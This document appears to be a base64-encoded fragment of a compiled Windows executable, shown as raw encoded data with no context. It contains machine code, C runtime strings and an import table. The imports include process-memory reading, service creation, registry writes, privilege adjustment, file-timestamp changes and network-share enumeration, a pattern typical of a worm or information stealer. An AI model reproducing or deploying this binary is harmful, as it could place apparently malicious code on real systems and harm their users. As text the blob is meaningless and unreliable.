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
av//dQhW/zU8OUkA6Ny///+DxCCFwHQN/3X8/3UI6Bmt//9ZWf91/Oijy///i0UIWV9eW8nD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd
AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA
QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a
AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA
3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ
AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA
nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe
AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA
AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA
AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA
DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA
AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF
BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI
AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv
ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K
AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90
IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu
b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot
IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw
YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv
cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y
DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA
UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs
IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv
ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50
cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m
dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy
b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA
R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy
LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA
AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc
AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA
2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa
AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA
LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ
AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA
LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g
AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA
bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e
AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA
AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA
Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN
ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy
U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j
ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl
dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp
bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy
cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD
aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA
3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ
YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA
nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl
dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291
bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl
bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl
dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD
b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl
QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51
bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA
NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl
ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA
RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp
ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu
Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB
U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B
UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn
ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO
ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu
ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl
dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl
YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl
RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52
aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD
b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl
YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA
VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT
dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
